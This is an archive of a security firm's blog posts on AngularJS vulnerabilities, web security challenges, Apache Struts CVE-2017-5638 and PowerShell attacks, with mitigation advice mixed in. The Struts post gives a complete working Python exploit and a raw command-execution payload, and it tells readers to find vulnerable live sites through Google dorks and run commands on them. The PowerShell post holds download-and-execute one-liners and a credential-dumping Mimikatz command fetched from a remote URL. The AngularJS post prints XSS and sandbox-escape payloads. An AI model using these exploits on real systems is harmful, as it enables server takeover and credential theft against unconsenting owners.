Wednesday, 22 November 2017

SECURITY TIPS FOR ANGULAR.JS APPLICATION DEVELOPER

 

SECURITY TIPS FOR ANGULAR.JS APPLICATION DEVELOPER

WHAT IS ANGULAR.JS?Angular.js is an application name estranged into two parts Angular and .JS. Angular defined as the significant meaning of having one or more angles. As well, .js is an extension name of JavaScript, the platform for this framework. It is built on the belief that declarative programming should be used to create user interfaces and connect software components, while imperative programming is better suited to define an application’s business logic

WHY ANGULAR.JS?

Angular.js is used to create a front-end web application framework or RIA (Rich Internet Application). It is the Open source and has some most important core features. Also, it aims to simplify both the development and the testing of such applications by providing a framework for client-side Model View Controller (MVC) and Model View View Model (MVVM) architecture. As we are going to develop web-based applications using AngularJS, it will be good if you have a basic understanding of other web technologies such as HTML, CSS, AJAX, etc.
Following are the most important core features of AngularJS             
A single-page application (SPA) is a web application or website that interacts with the handler by dynamically altering the current page rather than loading entire new pages from a server. This methodology avoids disruption of the user experience between uninterrupted pages, making the application behave more like a desktop application.

THE SCOPE OF ANGULAR.JS SECURITY:

 The angular route is a javascript code block. An Attacker can download and know that how your client side route is working. So, Angular app security scope always lies in client-side browser

We will see the vulnerabilities for software flaws and human source code (human errors) in angular.js

COMMON SECURITY ISSUES WITH ANGULAR JS:

Angular.js package affected some of the following most common vulnerabilities.
  • JSONP Callback Attack
  • Bypass Content Security Policy (CSP)
  • Arbitrary Script Injection
  • Cross Site Scripting (XSS)
  • Clickjacking
  • Arbitrary Code Execution
  • Arbitrary Command Execution
  • Unsafe Object Deserialization
  • Protection Bypass

JSONP CALLBACK ATTACK:

  • JSONP (JSON with padding) is a method used to request data from a server residing in a different domain than the client.
  • Any URL could perform JSONP requests, allowing full access to the browser and the JavaScript context. This can lead to Cross-site Scripting.

BYPASS CONTENT SECURITY POLICY (CSP):

Extension URIs (resource://…) bypass Content-Security-Policy in Chrome and Firefox can always be loaded. Now if a site already has an XSS bug, and uses CSP to protect itself, but the user has an extension installed that uses Angular, an attacker can load Angular from the extension, and Angular’s Auto-bootstrapping can be used to bypass the victim site’s CSP protection.

ARBITRARY SCRIPT INJECTION:

  • AngularJS is affected Arbitrary Script Injection, link[href] attributes were not protected via $sce, which prevents interpolated values that fail the RESOURCE_URL context tests from being used in the interpolation. For example, if the application is running at https://docs.angularjs.org then the following will fail:
      <link href="{{ 'http://mydomain.org/unsafe.css' }}" rel="stylesheet">
  • By default, RESOURCE_URL safe URLs are only allowed from the same domain and protocol as the application document.

CROSS SITE SCRIPTING (XSS):

AngularJS is vulnerable to Cross-site Scripting (XSS) due to the usemap attribute not being blacklisted.

CLICKJACKING:

AngularJS is affected to clickjacking, By enabling the SVG setting without taking other precautions, you might expose your application to click-hijacking attacks. In these attacks, sanitized SVG elements could be positioned outside of the containing element and be rendered over other elements on the page (e.g. a login link). Such behavior can then result in phishing incidents.
To protect against these, explicitly setup overflow: hidden css rule for all potential SVG tags within the sanitized content:
  .rootOfTheIncludedContent svg { overflow: hidden !important; }

ARBITRARY CODE EXECUTION:

Angular is an open-source JavaScript framework, maintained by Google, that assists with running single-page applications with the goal of making development and testing easier by augmenting browser-based applications with model–view–controller (MVC) capability. Affected versions of the package are vulnerable to Arbitrary Code Execution via unsafe SVG animation tags.     
Exploit Example:
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" />
</a>
</svg>
Here the anchor’s href is animated, starting from a value that’s a javascript URI. This allows execution of arbitrary javascript in the process. Preventing only the animation of links is tricky, as SVG is weird and namespaces aren’t predictable. The fix is to have the sanitizer filter out SVG animation tags instead.

ARBITRARY COMMAND EXECUTION:

One of the angularjs affected versions of the package is vulnerable to Arbitrary Command Injection due to the assignment functions accessing constructors functions, allowing attackers to execute their malicious code.

UNSAFE OBJECT DESERIALIZATION:

AngularJs affected versions of the package are vulnerable to Unsafe Object Deserialization.
The exploitable code:
hasOwnProperty.constructor.prototype.valueOf = valueOf.call;
["a", "alert(1)"].sort(hasOwnProperty.constructor);
  The exploit:
  • sort takes a comparison function and passes it 2 parameters to compare.
  • It then calls .valueOf() if the result is not a primitive.
  • The Function object conveniently accepts two string arguments, it can be used to construct a function. However, this doesn’t do much unless it can be executed.
  • The valueOf function on Function.prototype was set to Function.prototype.call. This causes the function constructed to be executed when sort calls .valueOf() on the result of the comparison.

PROTECTION BYPASS:

AngularJS affected version of the package are vulnerable to Protection Bypass via ng-attr-action and ng-attr-srcdoc allowing binding to Javascript. The fix was to require bindings to form[action] to be $sce.RESOURCE_URL and bindings to iframe[srcdoc] to be $sce.HTML

MITIGATING COMMON VULNERABILITIES IN ANGULAR JS:

  • Updating the latest package version of AngularJS.
  • Monthly checks the software updates for the future.
  • Must install updates or upgrades the latest patches regularly.
  • Also, check the Angular changelog for other security-related updates.

  VERSION:

The AngularJS is the concept of a component-based application architecture. As well as many developers believed and also it provided additional security, despite numerous vulnerabilities that had been discovered that bypassed the sandbox. So the current stable release of AngularJS is (1.6.6).

INJECTION ATTACKS ON ANGULAR JS:

 THE METHODOLOGY OF TEMPLATE INJECTION:

We have defined the following methodology to capture an efficient attack process, based on my experience auditing a range of vulnerable applications and template engines:

SERVER-SIDE TEMPLATE INJECTION:

  • The server is a mechanism to store data and code. So, it must not generate templates based on user inputs and it allows users to inject template directives. It is implemented in the logic of Javascript.
  • Template injection vulnerabilities can be very serious and can lead to complete compromise of the application’s data and functionality, and often of the server that is hosting the application.

  IMPACT:

An attacker using malicious template directives may able to execute arbitrary code and take full control of the web server. Also, possible to use the server as a platform for further attacks against other systems.

PREVENTION:

  • It is recommended to define your Angular templates statically and populate your templates through data bindings on the client-side.
  • Don’t dynamically generate angular templates on the server side.
  • Templates should not be created from the user-controlled User input should be passed to the template using template parameters.

CLIENT-SIDE TEMPLATE INJECTION:

  • When applications using a client-side template framework dynamically embed user input in web pages. When a web page is rendered. So that the framework will scan the page for template expressions, and execute any that it encounters.
  • By using curly braces it’s possible to inject AngularJS expressions in the AngularJS client-side template that is being used by the application. These expressions will be evaluated on the client-side by AngularJS and when combined with a sandbox escape.

       IMPACT:

  • An attacker can exploit this by supplying a malicious template expression that launches a cross-site scripting (XSS) attack. As with normal cross-site scripting, the attacker-supplied code can perform a wide variety of actions, such as stealing the victim’s session token or login credentials, performing arbitrary actions on the victim’s behalf, and logging their keystrokes.
  • Client-side template frameworks often implement a sandbox aimed at hindering the direct execution of arbitrary JavaScript from within a template expression. However, these sandboxes are not intended to be a security control and can normally be bypassed.

       PREVENTION:

  • avoid using server-side code to dynamically embed user input into client-side templates. If this is not practical, consider filtering out template expression syntax from user input prior to embedding it within client-side templates.
  • HTML-encoding is not sufficient to prevent client-side template injection attacks because frameworks perform an HTML-decode of relevant content prior to locating and executing template expressions.
  • It recommends to treat either curly braces in user input as highly dangerous or avoid server-side reflection of user input entirely.

BEST PRACTICES FOR SECURING ANGULARJS :

  • JSON vulnerability allows third-party website to turn your JSON resource URL into JSONP request under some conditions. It is recommended to prefix all JSON requests with the following string “)]}’,\n”. Angular will automatically strip the prefix before processing it as JSON.
  • Angular provides a mechanism to prevent XSRF. When performing XHR requests, the $http service reads a token from a cookie (by default, XSRF – TOKEN) and sets it as an HTTP header (X – XSRF – TOKEN). The header will not be set for Cross-domain
  • The HTML compiler will escape all {{}} & ng-bind by default. So you must include user-generated HTML. (e.g) rich text editors. Take advantage of the services and directives. ng-bind-HTMLhtml (from angular-sanitize)
  • Print as is removing “script” tags (beware of img tags). Fully customizable with $sceProvider & $SanitizeProvider.
  • It is possible to browser-based MITM( Man-In-The-Middle) attack. The same attacker can put arbitrary code execution in your browser. So ensures HTTPS Everywhere.
  • Avoid using Allow-Origin “*”, Unless you have very strong authentication and authorization.
  • The SPA authorization is still up to the server to see the below rules are as follows. Also, it is applied to input validation.
  • Examining the authentication state
  • Examining profile and inferring permissions
  • Enabling Privileged actions
  • Filtering confidential data
  • The code which actually runs in our application is libraries and components. So check dependencies for both client and server vulnerabilities.                                                                                                                                                                                                                                                                                      CONTENT SECURITY POLICY:

Content Security Policy (CSP) is an additional layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. The browsers also support for Content Security Policy (CSP).
Angular js Emerged as one of the most powerful platform has the   ability to streamline the development process and make more responsive web applications. With the popularity these frameworks comes the confusion about the security issues making the application vulnerable.
We BriskInfosec Solution are providing various security and penetration services for safe guarding your business

Monday, 20 November 2017

TOP 10 SECURITY CHALLENGES IN WEB TECHNOLOGIES

TOP 10 SECURITY CHALLENGES IN WEB TECHNOLOGIES
Web application technology plays a major role in our regular daily activities like social networking, online shopping and transactions, emails, and other web browsing stuffs. Open Web Application Security Project (OWASP) has defined the major critical vulnerabilities that can affect the web technologies like web server, application, and frameworks used to build the application and the server operating system.
Apart from the critical vulnerabilities derived by OWASP, there are various security threats and challenges are posed on web technologies, web application developers and testers.
  1. STATE-SPONSORED ESPIONAGE:

State-sponsored Espionage is one of the critical challenges for the web technology. It highlights the need to protect critical web services and data from political, financial and state-sponsored hackers and threats. Critical web data and services includes the information needed to run the web and network infrastructure as well as the intellectual property used to manage business.
  1. DISTRIBUTED DENIAL OF SERVICE ATTACKS(DDOS):

DDOS attacks became one of the major threat for the internet. Initially DDOS attacks were used to target networks later on the same attacks were used against web technologies to take down web servers and web service providers. DDOS attack against DYN (a DNS service provider company) DNS services is one of the major and worst DDOS attacks with a bandwidth of nearly 1 Tbps of data. This massive attacks shutdown the internet web services in major parts of Europe and African countries, DDOS attacks are carried out by systems and devices compromised by malware or botnets.
  1. CLOUD MIGRATION:

Since the year of 2013, most of the companies and organizations moved their web services in to cloud based infrastructure. Google, Amazon, Microsoft has developed their own cloud services for providing web services in higher demand to the public and private sectors. This migration into virtual shared infrastructures changes how we address information security and risk management.  This migration has also created a great challenge as well as a threat vector for web technologies and developers. Cloud based attack vectors are getting evolved and new vulnerabilities and exploits for cloud servers are developed.
  1. PASSWORD MANAGEMENT:

Password management is one of the key challenges not only for web technologies but also for networks and mobile services. Password Management enforces users to create strong user-controlled passwords that are less likely to be broken by any attackers. This educational and administrative challenge requires creative solutions and enforced policies.
  1. SABOTAGE:

Sabotage of critical web technologies and services can affect the infrastructure and ultimately impact corporate and backbone networks. This challenge is so potentially perverse because it combines social engineering with software based tools to provide a complex multi-vectored attack profile to compromise the client of a individual web services ex: g mail, yahoo, Facebook, pay pal etc.
  1. BOTNETS:

The term Botnet refers to group or network of computers and other internet connecting devices that are compromised by a malware (spyware, Trojan etc). Compromised systems are referred as bots and their network is botnet. Botnets became a major threat and attack vector used by attackers for carrying out large scale attacks like DDOS. Attackers compromised around 100,000 IOT devices and used them as a botnet army to attack DYN DNS provider with large scale DDOS attack. Attackers used the botnet called “mirai” to carry out this attack.
  1. INSIDER THREAT:

Insider threat is one of the major threats for any organization providing web services. A dissatisfied employee base provides a vector for insider security events, while the inadvertent injection of malware through removable media or web interconnections can make any employee the origination point for a security violation which could create a loophole or vulnerability in the web service.
  1. MOBILITY:

Management and security of mobile based web technologies like mobile apps that provides web services like email, browsing, social media becomes even more challenging for web technology developers. In an organization, bring-your-own-device trend exasperates this challenge when we look at protecting the critical information needed to manage the organization and the network without sacrificing the privacy of employee’s personal information and activities. Attackers managing to compromise the mobile device of a person can further try to hijack web connections and critical data in that mobile device.
  1. PRIVACY LAWS:

Privacy of the users and their data is a major concern in the whole internet. Keeping users and their data in private and safe manner is a big challenge for any web technology providing organization. Some key examples include encrypting the username and passwords of web service users. If there is a data breach in a specific web service provider, the organization has to make sure that users data should not be compromised or leaked.
  1. CLIENT-SIDE AWARENESS:

Lack of security awareness for the users of web application technology can become a threat to the web service even if the web service is not vulnerable to any attack vector. A web application should enforce strong client side security to overcome this challenge. Some examples include banking sites displaying information about credit card security and phishing pages in bank login page to create user awareness from data loss.

CONCLUSION:

All these challenges will affect how a pen tester and developer treats risk and security of a web applicationtechnology from inside and outside of a network. Security testers and developers should take all this challenges in mind while testing and developing a web application for either private corporate usage or public usage.
The Top 10 Security Challenges highlights the key cyber security risks that business are facing now. Secure your application from the top security challenges with briskInfosec

Thursday, 16 November 2017

Command Execution Attacks on Apache Struts server (CVE-2017-5638)

  

COMMAND EXECUTION ATTACKS ON APACHE STRUTS SERVER (CVE-2017-5638)

WHAT ARE APACHE STRUTS?

Apache Struts is a free, open-source, MVC framework for creating elegant, modern Java web applications. It favours convention over configuration, is extensible using a plugin architecture, and ships with plugins to support REST, AJAX, and JSON.

WHAT IS CVE 2017-5638 VULNERABILITY?

CVE 2017-5638 is a remote code execution bug that affects the Jakarta Multipart parser in Apache Struts. The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header.
Public Exploit code for Exploiting CVE 2017-5638 (Source: Github)
#!/usr/bin/python
# -*- coding: utf-8 -*-
 import urllib2
import httplib
 def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload+="(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
payload+="(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload+="(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"
     try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial
     print(page)
    return page
 if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)
How to Exploit CVE 2017-5638 using above exploit:(Exploit Process)
  1. First, we will find a web application vulnerable to apache struts code execution (CVE 2017-5638) by using google dorks.
  • Once we got the dork search results, we will check if the site is vulnerable or not by using the above exploit.
  • Copy the above exploit code and save it as any name.py. Here I’m using as struts.py. Then give exploit file permission using the command ‘chmod +x 777
  • We will use the above exploit to run system commands on vulnerable application’s server. To confirm the vulnerability we will use exploit to run ‘id’ command in a remote server. Syntax for the exploit is struts.py <url> <cmd to run>
  • As we can see from the above image, the remote server is vulnerable to code execution due to the vulnerable apache struts jakarta parser plugin in “login. Action” page.
After confirming the vulnerability, an attacker or tester can run any operating system commands on the remote server based on the privileges of the remote apache tomcat server. In above image we can see that I’m getting uid=1001 which means that I don’t have root privileges to run privileged commands on remote server.
  • An attacker or tester can check for any privilege escalation vulnerabilities in remote server to get root privileges in some cases
  • Let’s run some system commands
Above command ‘ls’ gives the list of files in the server directory. In this way an attacker can take control of the server and create persistence connection to the remote server by setting up backdoor in the server. 

 OTHER EXPLOIT SOURCES

 Popular exploit framework metasploit has released exploit code for this vulnerability in its metasploit framework exploit modules. We can access that through msfconsole in kali linux or other linux distros.

MANUAL EXPLOITATION OF VULNERABILITY: (WITHOUT EXPLOIT CODE)

  For exploiting this vulnerability manually, we can use intercepting proxies like burp suite or utilities like curl which is available in Linux.

 RAW PAYLOAD FOR EXPLOITATION:

%{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’id’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

  •  If we use Burp suite, we can intercept the request of vulnerable application and add the above payload to the Content-Type header of request. In response we will get the result of our command.
  •  In the above payload, we need to change the #cmd parameter to the command of our choice to run on remote server. For example #cmd=ls or #cmd=id.
  • Since we are using ‘curl’ tool for this example we need to give command as “curl url H Content-type: <payload>”
  • In this way, we can manually exploit this vulnerability manually.

 MITIGATION AGAINST CVE 2017-5638

  Upgrade apache struts to the latest versions like 2.3.32 and 2.5.10.1 to avoid this kind of vulnerably.

REAL-WORLD DATA BREACHES DUE TO CVE 2017-5638

  Equifax Inc. is a consumer credit reporting agency. Equifax collects and aggregates information on over 800 million individual consumers and more than 88 million businesses worldwide.
Equifax, one of the three largest credit reporting firm in the United States, admitted that it had suffered a massive data breach somewhere between mid-May and July this year, which it actually discovered on July 29—that means the data of 143 million people were exposed for over 3 months. This data breach is due to the fact that, the company failed to patch this apache struts vulnerability in jakarta parser (CVE 2017-5638). (Source – thehackernews.com)

REFERENCES

In today’s threat landscape a lot of attention is paid to endpoint systems being compromised, and with good reason, as it accounts for the majority of the malicious activity we observe on a daily basis. BriskInfosecadds the ability to easily block this vulnerability by providing the web application and server vulnerabilitytest.

Wednesday, 15 November 2017

Two Phases of Power Shell—Offensive and Defensive

TWO PHASES OF POWER SHELL—OFFENSIVE AND DEFENSIVE

Power Shell is a command line shell and powerful scripting language used on Windows computers. It has been around for more than 10 years, is used mainly by system administrators, and will replace the default command prompt on Windows in the future.
Power Shell scripts are mostly used in legitimate administration work. They can also be used to protect computers from attacks and perform analysis. However, attackers are also working with Power Shell to create their own threats.
Windows power shell let you access data stores such as registry and certificate store and has a rich expression parser

VERSIONS OF POWER SHELL

WINDOWS VERSION                     DEFAULT POWER SHELL VERSION

WINDOWS 7 SP1                                                    2.0

WINDOWS 8                                                           3.0

WINDOWS 8.1                                                        4.0

WINDOWS 10                                                         5.0

WINDOWS SERVER 2008 R2                                    2.0

WINDOWS SERVER 2012                                          3.0

WINDOWS SERVER 2012 R2                                    4.0

WINDOWS SERVER 2016                                          5.1

Here is the documentation which is provided by the Microsoft
Windows Power Shell provides some incredible features:
  • cmdlets for doing some common system administration works such as manage registry, services, processes, and event logs using WMI
  • Powerful object manipulation capabilities.
  • Extensible interface
  • Simple command-based navigation , let the users to navigate the registry and other data
  • Consistent design.

POWER SHELL INTEGRATED SCRIPTING ENVIRONMENT:

windows power shell integrated scripting environment is a host application that enables you to write and test the scripts and modules in a graphical environment.

 WHY ARE ATTACKERS USING POWER SHELL?

  1. It is installed by default on all new Windows computers.
  2. It can execute payloads directly from memory, making it stealthy.
  3. It generates few traces by default, making it difficult to find under forensic analysis.
  4. It has remote access capabilities by default with encrypted traffic.
  5. As a script, it is easy to obfuscate and difficult to detect with traditional security tools.
  6. Defenders often overlook it when hardening their systems.
  7. It can bypass application-white listing tools depending on the configuration.
  8. Many gateway sandboxes do not handle script-based malware well.
  9. It has a growing community with ready available scripts.
  10. Many system administrators use and trust the framework, allowing Power Shell malware to blend in with regular administration work.

 SCRIPT EXECUTION

In the majority of instances, Power Shell scripts are used post-ex-exploitation as down loaders for additional payloads. While the Restricted execution policy prevents users from running Power-Shell scripts with the .ps1 extension, attackers can use other Extensions to allow their scripts to be executed.
In malicious PowerShell scripts, the most frequently used commands and functions on the command line are:
→  (New-Object System.Net.Webclient).DownloadString()
→   (New-Object System.Net.Webclient).DownloadFile()
→   -IEX / -Invoke-Expression
→   Start-Process
A typical command to download and execute a remote file looks
like the following:
powershell.exe (New-Object System.Net.WebClient). DownloadFile($URL,$LocalFileLocation);Start-Process $LocalFileLocation

 EXPLOITS

Exploit kits have also been experimenting with Power Shell.
Recently, Sundown exploit kits taking advantage of the Microsoft Internet
Explorer Scripting Engine Remote Memory Corruption Vulnerability (CVE-2016-0189). These attacks impact a flaw in the Jscript and VBScript engines to execute code in Internet Explorer. The following is an example of this script.
set shell=createobject(“Shell.Application”)
shell.ShellExecute “powershell.exe”, “-nop -w hidden -c if(IntPtr]::Size -eq 4){b=’powershell.exe’}else{$b=$env:windir+’\\\\syswow64\\\\
WindowsPowerShell\\\\v1.0\\\\powershell.exe’};
$s=New-Object System.Diagnostics.ProcessStartInfo;$s. FileName=$b;$s.Arguments=’-nop -w hidden -c Import-Module BitsTransfer;Start-BitsTransfer “ &nburl&”c:\\”&nbExe&”;Invoke-Item c:\\”&nbExe&”;’;$s.UseShellExecute=$false;$p=[System.Diagnostics.Process]::Start($s); “,””,”open”,0

 SECURING WINDOWS WORKSTATIONS FROM POWER SHELL ATTACKS

Running free and near-free Microsoft tools to improve windows security
  • Launch Microsoft AppLocker to lock down what can run on the system
  • Launch LAPS to manage local admin password
Disable windows legacy & typically unused features
  • Disable WPAD
  • Disable LLMNR
  • Disable NetBIOS
  • Make sure Widgets is disabled
Enable LSA protection
The Local Security Authority Server Service process validate user for local and remote sign-ins and enforces local security policies
Disabling net session enumeration
It helps to remove the capability for any user to enumerate net session info
This process can be done by following steps:
  • Open Group Policy Management Console → right click on GPO(Group Policy object) this should contain new preference item and click Edit
  • Expand the Preference folder present under console tree Computer Configuration and then expand Windows Settings folder
  • Right click on Registry node → new → Registry Wizard
  • Select reference workstation and then click next
  • Browse to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\
  • Select check box for SrvsvcSessioninfo from which you want to create registry preference
  • Select check box foam a key only if you want to create a registry item for the key rather than for a value within the key
  • Finally click finish
Disable net Bios
Go to properties in network devices → TCPIPV4 properties → Advanced → WINS → disable NetBIOS over TCP/IP
Disable unnecessary services that on Windows Server 2016 Desktop Experience (based on MS Security Blog recommendations)
Script can be found in following link given:
List of awesome Security Hardening techniques for Windows

DETECT AND MITIGATE POWER SHELL ATTACKS

Power Shell has become a major threat against windows platform. There are some way to mitigate and detect PowerShell attacks.

 USING APP LOCKER:

App Locker is present in windows 10 enterprise which provides a feature to white list the applications and scripts . When a user creates an App Locker policy they can apply to files, executable s, packaged apps and scripts

DETECT MALICIOUS POWER SHELL WITH SCRIPT BLOCK LOGGING:

In Power Shell version 5 has given new several way to find malicious Power Shell. One way to find using script block logging. This feature of logging is on by default with Power Shell version 5 and it gives a clear text logging of scripts which is executed by Power Shell.
Let’s say an attacker may try to hide their scripts
power shell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”
The attacker can able to create the same command into encoded format using Out-Encoded Command
But the Power Shell event logs can able to see exactly what hacker run

DISABLING THE POWER SHELL FEATURE

if a user’s has no work with PowerShell , they can disable the Power Shell feature to secure from Power Shell script injection.
Way to disable the Power Shell feature        :
First removing all users from those folders. You can easily re-enable it by adding a user.
C:\Program Files (x86)\WindowsPowerShell
C:\Program Files\WindowsPowerShell
C:\Windows\System32\WindowsPowerShell
C:\Windows\SysWOW64\WindowsPowerShell
we definitely have to disable Windows Script Host (used for executing scripts via .JS, .JSE, .VBS, .VBE)
reg add “HKCU\Software\Microsoft\Windows Script Host\Settings” /v “Enabled” /t REG_DWORD /d “0” /f
reg add “HKLM\Software\Microsoft\Windows Script Host\Settings” /v “Enabled” /t REG_DWORD /d “0” /f

CONCLUSION

If every hackers turns Power Shell into deadly weapon, it’s difficult for user to mitigate. So users has to study about Power Shell and defend your system before attacker gets in. so be prepare and be secure. For effective audit for windows Microsoft environment get in touch with us.